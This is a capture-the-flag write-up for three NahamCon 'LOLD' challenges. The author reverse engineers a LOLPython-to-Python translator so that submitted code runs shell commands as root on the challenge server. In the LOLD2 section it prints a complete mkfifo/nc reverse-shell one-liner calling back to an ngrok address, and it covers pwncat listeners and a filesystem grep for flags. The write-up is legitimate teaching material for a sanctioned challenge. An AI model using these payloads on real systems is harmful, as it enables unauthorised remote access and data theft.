This was a series of three challenges, that were all very similar. That's why the solutions to LOLD, LOLD2, and LOLD3 challenges are included in this post. The challenge is about a "LOLPython", a language that's basically a translation of Python. It was pretty fun to try and reverse engineer how the language works, to execute any code we want.
The Challenge
We get the source code to a LOLPython "compiler", which just converts our LOLPython code to regular Python code to be executed. The file was named lolpython.py
so I looked up what this was, and found that this was a known esoteric programming language from 2007.
http://www.dalkescientific.com/writings/diary/archive/2007/06/01/lolpython.html
The lolpython.py
file is the same as the one from the site (link). This is the help output:
$ python2 lolpython.py --help
convert and run a lolpython program
Commands are:
lolpython Read a lolpython program from stdin and execute it
lolpython --convert Convert a lolpython program from stdin
and generate python to stdout
lolpython --convert filename1 [filename....]
Convert a list of lolpython files into Python files
lolpython filename [arg1 [arg2 ...]]
Run a lolpython program using optional arguments
We can use this python2 script to convert a .txt
file containing LOLPython code to python code with the --convert
flag. For example:
...will create a file called test.py
with the python code that can be executed. Now we just need to understand how LOLPython works, so we can write a program in it to grab the flag.
Writing LOLPython
On the Official Site for LOLPython there is a nice Fibonacci sequence example. It has a lot of different syntaxes already in the example, so we can just change some of the names to execute what we want.
IN MAI datetime GIMME date LIKE DATE
SO IM LIKE FIBBING WIT N OK?
LOL ITERATE FIBONACCI TERMS LESS THAN N /LOL
SO GOOD N BIG LIKE EASTERBUNNY
BTW, FIBONACCI LIKE BUNNIES! LOL
U BORROW CHEEZBURGER
U BORROW CHEEZBURGER
I CAN HAZ CHEEZBURGER
HE CAN HAZ CHEEZBURGER
WHILE I CUTE?
I AND HE CAN HAZ HE AND I ALONG WITH HE
IZ HE BIG LIKE N?
KTHXBYE
U BORROW HE
IZ __name__ KINDA LIKE "__main__"?
COMPLAIN "NOW IZ" AND DATE OWN today THING
IZ BIGNESS ARGZ OK KINDA LIKE 1?
N CAN HAS 100
NOPE?
N CAN HAS NUMBR ARGZ LOOK AT 1!!
GIMME EACH I IN UR FIBBING WIT N OK?
VISIBLE I
This turns into:
import sys as _lol_sys
from datetime import date as DATE
def FIBBING ( N ) :
'ITERATE FIBONACCI TERMS LESS THAN N'
assert N >= 0
# BTW, FIBONACCI LIKE BUNNIES! LOL
yield 1
yield 1
I = 1
HE = 1
while 1:
I , HE = HE , I + HE
if HE >= N :
break
yield HE
if __name__ == '__main__' :
print >>_lol_sys.stderr, 'NOW IZ' , DATE . today ()
if len(_lol_sys.argv) == 1 :
N = 100
else :
N = int(_lol_sys.argv[ 1 ])
for I in FIBBING ( N ) :
print I
Now we can just take some small pieces of code from here and make them do what we want, without fully having to understand the language. A nice goal is to execute shell commands because then we can just provide a string that will be executed. We can simply change the string to do different things, without having to change the script a lot. So this will be our goal:
Now we need to find the LOLPython code that will turn into this. The Fibonacci example uses a few pieces of syntax we'll need.
- Firstly, the
import
keyword. The statementfrom datetime import date as DATE
gets translated toIN MAI datetime GIMME date LIKE DATE
. Soimport
is translated toGIMME
. - We also need
os
dotsystem
. The dot is another special character that gets translated. We can seeDATE . today ()
is translated toDATE OWN today THING
. So a dot.
is translated toOWN
. - Lastly we need the brackets for the
"id"
argument. In the previousDATE . today ()
the brackets got translated to a singleTHING
. We need arguments in between the brackets so we need to find something else. We can also seefor I in FIBBING ( N ) :
which puts an argument between the brackets as we want. This is translated toGIMME EACH I IN UR FIBBING WIT N OK?
so the opening bracket(
isWIT
, but we don't know the closing bracket for sure. In the code it has) :
with a colon at the end, which is translated toOK?
. We can make a guess and sayOK
is just a singular closing bracket)
without a colon.
So now that we have the translation for all pieces we need, we can craft the script to execute.
We can now try to execute this script with lolpython.py
by passing the contents to the input of the program:
Perfect! Our system command was executed and the output was printed. If we now try the same thing with the remote nc
server you can see we also execute system commands there.
$ cat test.txt | nc challenge.nahamcon.com 30899
HAI! WELCOME TO LOLD: WE HAZ DA BEEEEEEST LOLPYTH INTERPRETER YOU EVER DID SEE!!
GIMME ONE LOLPYTHON SCRIPT AND MAYB I RUN 4 U!
uid=0(root) gid=0(root) groups=0(root)
It worked instantly. The challenge description told us the flag would be located in /flag.txt
, so we can just change our script to cat /flag.txt
to find it.
$ cat test.txt | nc challenge.nahamcon.com 30899
HAI! WELCOME TO LOLD: WE HAZ DA BEEEEEEST LOLPYTH INTERPRETER YOU EVER DID SEE!!
GIMME ONE LOLPYTHON SCRIPT AND MAYB I RUN 4 U!
flag{c1146bd8b0079fd75f857003afe2cc49}
LOLD2
The next challenge in the series is pretty simple to understand. When we try to execute system commands like before, it just runs it but doesn't give us any output back. To extract any information like the flag, we need this output.
$ cat test.txt | nc challenge.nahamcon.com 31671
HAI! WELCOME TO LOLD: WE HAZ DA BEEEEEEST LOLPYTH INTERPRETER YOU EVER DID SEE!!
GIMME ONE LOLPYTHON SCRIPT AND MAYB I RUN 4 U!
I RAN IT HURRAYYYYYYY!!!!!!!
But instead of receiving it directly, we can make a reverse shell that will connect back to us and allow for normal communication. We can use a reverse shell payload. Here I used ngrok to create a tunnel from the public internet to a local listener. You can use ngrok tcp 4444
and then nc -lnvp 4444
to listen on port 4444, and then just put the address you get from ngrok in the reverse shell. If we put in a script like this and execute it:
GIMME os
os OWN system WIT "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 8.tcp.ngrok.io 17304 >/tmp/f" OK
We get a reverse shell back!
$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 34366
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /flag.txt
flag{da682dec4bbcad7437bbb875266fda51}
LOLD3
This was another simple twist. We still can't see the output of the commands, but when we connect with the reverse shell like before there is no /flag.txt
file anymore. We need to find where the flag is.
For this part, we need to do a little digging with commands, so it's nicer to have a full and clean shell. A handy tool to do this for us is pwncat
by Caleb Stewart. It's a reverse shell listener that can be used for lots of things, but I mostly use it for creating a reliable reverse shell connection. You can use pwncat -lp 4444
to listen on port 4444 just like we did before with nc
. After triggering the reverse shell like before we get a connection, then we can use Ctrl+D
to switch to the remote shell on the remote server.
$ pwncat -lp 4444
[ ] received connection from 127.0.0.1:57732
[ ] 0.0.0.0:4444: upgrading from /bin/dash to /bin/bash
(local) pwncat$ [Ctrl+D]
(remote) root@lold:/# id
uid=0(root) gid=0(root) groups=0(root)
Now we need to find the flag. The simplest way is to just search for the flag{
string in all files. We can do this with grep
:
(remote) root@lold:/# grep "flag{" -r /
/opt/is/flag/for/me/flag.txt:flag{578d97b0ea07a3703569bf8c7c1f5866}
/opt/challenge/flag.txt:flag{578d97b0ea07a3703569bf8c7c1f5866}
So the flag was just hidden in two files in the /opt
directory somewhere.
Now we've solved all 3 LOLD challenges. The hardest part was translating the LOLPython code, but the LOLD2 and LOLD3 were pretty simple after solving the initial challenge.